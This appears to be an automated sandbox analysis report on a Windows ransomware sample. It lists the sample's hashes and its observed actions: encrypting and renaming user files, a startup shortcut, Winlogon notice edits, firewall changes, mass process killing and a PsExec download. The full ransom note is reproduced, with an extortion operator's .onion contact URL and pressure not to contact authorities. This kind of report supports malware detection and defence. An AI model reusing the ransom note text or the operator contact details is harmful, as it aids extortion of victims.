32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6

Resubmissions

29-10-2021 12:12

211029-pdkbzsaaap 10

Analysis

max time kernel
121s
max time network
122s
platform
windows10_x64
resource
win10-en-20211014
submitted
29-10-2021 12:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Size

152KB
MD5

af9622a8b6a46866f00f9ff35b7f16b6
SHA1

6a81a6e01f502cdb5893d423417bde2448882ac2
SHA256

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6
SHA512

e4effba4959ff985bd63cd0f533c368c88370a25c90eef5e9bef82eab101d2ea1a2bbd33aad1da3cb629b894c2777c8f6c35fd6729b65b8580c54f90a13fb2c2

Score

10^/10

evasion persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

Ransom Note

YOUR COMPANY WAS HACKED AND COMPROMISED!!! All your important files have been encrypted! Our encryption algorithms are very strong and your files are very well protected, the only way to get your files back is to cooperate with us and get the decrypter program. Do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. ____________________________________________________________________________________ For us this is just business and to prove to you our seriousness, we will decrypt you three files for free. Just open our website, upload the encrypted files and get the decrypted files for free. ____________________________________________________________________________________ ! WARNING ! Whole your network was fully COMPROMISED! We has DOWNLOADED of your PRIVATE SENSITIVE Data, including your Billing info, Insuranse cases, Financial reports, Business audit, Banking Accounts! Also we have corporate correspondence, information about your clients. We got even more info about your partners and even about your staff. Additionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself to huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before cases with multi million costs in fines and lawsuits, not to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how fast we both can find an agreement without getting this incident public. ____________________________________________________________________________________ IF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. YOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. ____________________________________________________________________________________ WE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR ENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES GOOD SUPPORT. Instructions for contacting us: ____________________________________________________________________________________ You have way: 1) Using a TOR browser! a. Download and install TOR browser from this site: https://torproject.org/ b. Open the Tor browser. Copy the link: http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=PUUEQS8AEJ and paste it in the Tor browser. c. Start a chat and follow the further instructions. Key Identifier: OP71GCyZOMla9HT5d8QZ+8HB8kJCHcC7RgLNtCyg/YO0bYBHd4cFD3tUkwUUtcSdZdMt+1RIh22h6aV2WArroVxTZmwpDp5NHUsC4A1AN9OnDe8vHnlqG0uDo6/J0wBqfPONAWHS6FI9eZcF/SpeOfMP7NRlpdALukvX6c/MUPFmsjrj3kpyzhOS0Bc8Z1ofSuSSXBldqo7A+pHXGWwxYhO8/O9/ZBNUhUsdKE5DuhfNj3Wn9UFzMQY2UbkNb5XXHtqcwuhnXdamEJQIJEhaMj1ivRjO+SVvR8A8vLh1eVavPpUZulmuGe00UqwJ0glLMwnibk/4kNo+++YQlbysdAIBE/q6LH8Xo/83cOs0fEw93IgGqi9OkT2fhN02ZnYMbaeqifdbqvBlAOj6RlxsGpCJv3Mw3Vx3d0wUAgfdNOCfQ49A3lti/ahxDcVEIcf1QYtevL3amoCm9Mi9bfGZq8LcBdkRqDfM0cCTGKAr8n3huUWduE7l+zuPDN4nNM7CA3BRoYCcm3JUGqKsNbc34tVOIMxzNWMPPnaTXQgx4sFVvZvnQghUO1b9ZJvDuddn2taLH/FOdQsXST46MzSufr11tMHcBIXrbjESRmKG6H1RiUH1ZTsB7nmYcboKuvehJfk8CCZFTklTpN1Nx/WJtij0jhxJns+fWKx+s5BU5Xw=

URLs

http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=PUUEQS8AEJ

Extracted

Path

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt

Ransom Note

URLs

http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=PUUEQS8AEJ

Extracted

Path

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

Ransom Note

URLs

http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=PUUEQS8AEJ

Signatures

Downloads MZ/PE file

Downloads PsExec from SysInternals website 1 IoCs

Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.

description	flow	ioc
HTTP URL	28	http://live.sysinternals.com/PsExec.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\DisablePop.tiff.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File renamed	C:\Users\Admin\Pictures\SetRename.png => C:\Users\Admin\Pictures\SetRename.png.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File renamed	C:\Users\Admin\Pictures\WriteRevoke.crw => C:\Users\Admin\Pictures\WriteRevoke.crw.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\Admin\Pictures\WriteRevoke.crw.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\Admin\Pictures\UnlockUnregister.png.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\Admin\Pictures\DisablePop.tiff	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File renamed	C:\Users\Admin\Pictures\DisablePop.tiff => C:\Users\Admin\Pictures\DisablePop.tiff.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\Admin\Pictures\SetRename.png.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File renamed	C:\Users\Admin\Pictures\UnlockUnregister.png => C:\Users\Admin\Pictures\UnlockUnregister.png.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\reload1.lnk	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\T:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\Y:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\G:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\Q:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\I:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\H:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\N:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\V:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\U:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\O:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\P:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\S:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\F:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\J:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\X:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\M:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\W:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\E:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\A:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\K:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\L:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\Z:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\B:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY WAS HACKED AND COMPROMISED!!!"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\nWe has DOWNLOADED of your PRIVATE SENSITIVE Data!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3623239459\11870838.pri	netsh.exe
File created	C:\Windows\rescache\_merged\2483382631\1144272743.pri	netsh.exe
File created	C:\Windows\rescache\_merged\4272278488\927794230.pri	netsh.exe
File created	C:\Windows\rescache\_merged\4183903823\1195458082.pri	netsh.exe
File created	C:\Windows\rescache\_merged\1301087654\4010849688.pri	netsh.exe
File created	C:\Windows\rescache\_merged\1476457207\263943467.pri	netsh.exe
File created	C:\Windows\rescache\_merged\2878165772\3312292840.pri	netsh.exe
File created	C:\Windows\rescache\_merged\423379043\2764571712.pri	netsh.exe
File created	C:\Windows\rescache\_merged\81479705\2284120958.pri	netsh.exe
File created	C:\Windows\rescache\_merged\3418783148\4223189797.pri	netsh.exe
File created	C:\Windows\rescache\_merged\1601268389\3068621934.pri	netsh.exe
File created	C:\Windows\rescache\_merged\4185669309\1880392806.pri	netsh.exe
File created	C:\Windows\rescache\_merged\1974107395\1506172464.pri	netsh.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 48 IoCs

evasion

pid	Process
400	taskkill.exe
1216	taskkill.exe
948	taskkill.exe
2940	taskkill.exe
1860	taskkill.exe
2336	taskkill.exe
2840	taskkill.exe
1708	taskkill.exe
1100	taskkill.exe
2348	taskkill.exe
1876	taskkill.exe
660	taskkill.exe
3376	taskkill.exe
3560	taskkill.exe
1300	taskkill.exe
2364	taskkill.exe
984	taskkill.exe
1420	taskkill.exe
3208	taskkill.exe
3960	taskkill.exe
1600	taskkill.exe
2944	taskkill.exe
2144	taskkill.exe
3568	taskkill.exe
4048	taskkill.exe
3212	taskkill.exe
2816	taskkill.exe
3180	taskkill.exe
1192	taskkill.exe
1604	taskkill.exe
1048	taskkill.exe
2596	taskkill.exe
3872	taskkill.exe
900	taskkill.exe
3852	taskkill.exe
2264	taskkill.exe
1196	taskkill.exe
3928	taskkill.exe
1928	taskkill.exe
676	taskkill.exe
436	taskkill.exe
316	taskkill.exe
2152	taskkill.exe
3792	taskkill.exe
3856	taskkill.exe
3140	taskkill.exe
1248	taskkill.exe
836	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1756	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1248	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Token: SeDebugPrivilege	3872	taskkill.exe
Token: SeDebugPrivilege	948	taskkill.exe
Token: SeDebugPrivilege	2364	taskkill.exe
Token: SeDebugPrivilege	2348	taskkill.exe
Token: SeDebugPrivilege	1876	taskkill.exe
Token: SeDebugPrivilege	2144	taskkill.exe
Token: SeDebugPrivilege	2940	taskkill.exe
Token: SeDebugPrivilege	900	taskkill.exe
Token: SeDebugPrivilege	3928	taskkill.exe
Token: SeDebugPrivilege	1928	taskkill.exe
Token: SeDebugPrivilege	3792	taskkill.exe
Token: SeDebugPrivilege	3568	taskkill.exe
Token: SeDebugPrivilege	3856	taskkill.exe
Token: SeDebugPrivilege	4048	taskkill.exe
Token: SeDebugPrivilege	3852	taskkill.exe
Token: SeDebugPrivilege	660	taskkill.exe
Token: SeDebugPrivilege	984	taskkill.exe
Token: SeDebugPrivilege	1420	taskkill.exe
Token: SeDebugPrivilege	676	taskkill.exe
Token: SeDebugPrivilege	436	taskkill.exe
Token: SeDebugPrivilege	316	taskkill.exe
Token: SeDebugPrivilege	1860	taskkill.exe
Token: SeDebugPrivilege	1604	taskkill.exe
Token: SeDebugPrivilege	2264	taskkill.exe
Token: SeDebugPrivilege	2336	taskkill.exe
Token: SeDebugPrivilege	2840	taskkill.exe
Token: SeDebugPrivilege	2152	taskkill.exe
Token: SeDebugPrivilege	1708	taskkill.exe
Token: SeDebugPrivilege	3140	taskkill.exe
Token: SeDebugPrivilege	3208	taskkill.exe
Token: SeDebugPrivilege	3376	taskkill.exe
Token: SeDebugPrivilege	3960	taskkill.exe
Token: SeDebugPrivilege	1248	taskkill.exe
Token: SeDebugPrivilege	3560	taskkill.exe
Token: SeDebugPrivilege	3212	taskkill.exe
Token: SeDebugPrivilege	1048	taskkill.exe
Token: SeDebugPrivilege	1196	taskkill.exe
Token: SeDebugPrivilege	2816	taskkill.exe
Token: SeDebugPrivilege	400	taskkill.exe
Token: SeDebugPrivilege	3180	taskkill.exe
Token: SeDebugPrivilege	1216	taskkill.exe
Token: SeDebugPrivilege	836	taskkill.exe
Token: SeDebugPrivilege	1300	taskkill.exe
Token: SeDebugPrivilege	2596	taskkill.exe
Token: SeDebugPrivilege	2944	taskkill.exe
Token: SeDebugPrivilege	1100	taskkill.exe
Token: SeDebugPrivilege	4020	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 3872	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	69
PID 2664 wrote to memory of 3872	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	69
PID 2664 wrote to memory of 3872	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	69
PID 2664 wrote to memory of 1012	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	71
PID 2664 wrote to memory of 1012	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	71
PID 2664 wrote to memory of 1012	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	71
PID 2664 wrote to memory of 1756	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	73
PID 2664 wrote to memory of 1756	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	73
PID 2664 wrote to memory of 1756	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	73
PID 2664 wrote to memory of 3036	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	75
PID 2664 wrote to memory of 3036	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	75
PID 2664 wrote to memory of 3036	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	75
PID 2664 wrote to memory of 700	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	77
PID 2664 wrote to memory of 700	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	77
PID 2664 wrote to memory of 700	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	77
PID 2664 wrote to memory of 3076	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	79
PID 2664 wrote to memory of 3076	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	79
PID 2664 wrote to memory of 3076	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	79
PID 2664 wrote to memory of 800	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	81
PID 2664 wrote to memory of 800	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	81
PID 2664 wrote to memory of 800	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	81
PID 2664 wrote to memory of 3960	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	82
PID 2664 wrote to memory of 3960	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	82
PID 2664 wrote to memory of 3960	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	82
PID 2664 wrote to memory of 1072	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	85
PID 2664 wrote to memory of 1072	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	85
PID 2664 wrote to memory of 1072	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	85
PID 2664 wrote to memory of 396	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	87
PID 2664 wrote to memory of 396	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	87
PID 2664 wrote to memory of 396	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	87
PID 2664 wrote to memory of 1248	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	89
PID 2664 wrote to memory of 1248	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	89
PID 2664 wrote to memory of 1248	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	89
PID 2664 wrote to memory of 3560	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	91
PID 2664 wrote to memory of 3560	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	91
PID 2664 wrote to memory of 3560	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	91
PID 2664 wrote to memory of 1208	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	93
PID 2664 wrote to memory of 1208	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	93
PID 2664 wrote to memory of 1208	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	93
PID 2664 wrote to memory of 948	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	95
PID 2664 wrote to memory of 948	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	95
PID 2664 wrote to memory of 948	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	95
PID 2664 wrote to memory of 2364	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	96
PID 2664 wrote to memory of 2364	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	96
PID 2664 wrote to memory of 2364	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	96
PID 2664 wrote to memory of 2348	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	97
PID 2664 wrote to memory of 2348	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	97
PID 2664 wrote to memory of 2348	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	97
PID 2664 wrote to memory of 1876	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	101
PID 2664 wrote to memory of 1876	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	101
PID 2664 wrote to memory of 1876	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	101
PID 2664 wrote to memory of 2144	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	103
PID 2664 wrote to memory of 2144	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	103
PID 2664 wrote to memory of 2144	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	103
PID 2664 wrote to memory of 2940	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	106
PID 2664 wrote to memory of 2940	2664	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	106
